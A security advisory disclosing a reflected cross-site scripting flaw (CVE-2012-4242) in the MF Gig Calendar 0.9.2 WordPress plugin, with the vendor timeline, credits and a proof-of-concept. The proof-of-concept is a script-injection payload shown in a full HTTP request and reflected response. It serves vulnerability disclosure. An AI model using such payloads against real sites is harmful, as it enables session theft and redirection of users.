MF Gig Calendar Wordpress Plugin - Cross-Site Scripting
MF Gig Calendar 0.9.2 is subject to a cross-site scripting vulnerability. The value of a generic parameter was not sufficiently sanitised before being written to the calendar page. An attacker could distribute a malicious URL that would trigger this vulnerability and potentially steal session cookies, redirect the user to a malicious URL or download malware onto their machine.
- CVE number: CVE-2012-4242
- Impact: Medium
- Vendor homepage: http://wordpress.org/extend/plugins/mf-gig-calendar/
- Vendor notified: 20/07/2012, 07/08/2012
- Vendor response: No reply was received from the author
- Credit: Chris Cooper and Joseph Sheridan of Reaction Information Security
Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality security testing services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.
MF Gig Calendar 0.9.2. Other versions may be affected.
"><script>alert('xsstest')</script> --- Example 1 Request: +----------------- GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1 Host: 192.168.0.6 Referer: http://192.168.0.6/wp/?page_id=2&ytd=2012 Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-1= hidetb%3D1%26editor%3Dtinymce; wp-settings-time-1=1342447051; PHPSESSID=ls61d5ov9vugrfhgu45urh4n55 --- Example 1 Response: +------------------ HTTP/1.1 200 OK Date: Tue, 17 Jul 2012 09:00:14 GMT Server: Apache X-Powered-By: PHP/5.3.8 X-Pingback: http://192.168.0.6/wp/xmlrpc.php Content-Length: 6835 Content-Type: text/html; charset=UTF-8 --- SNIP --- <div class="entry-content"> <h2>Upcoming Events</h2><div id="cal_nav"><strong> Upcoming</strong> | Archive: <a href="?page_id=2&"> <script>alert('xsstest') </script>=&ytd=2012">2012</a> </div><ul id="cal"> --- SNIP ---
At the time of writing, no patch has been released by the vendor.
In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.
- bugtraq () securityfocus com
- full-disclosure () lists grok org uk
Future updates of this advisory, if any, will be placed on the ReactionIS website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates.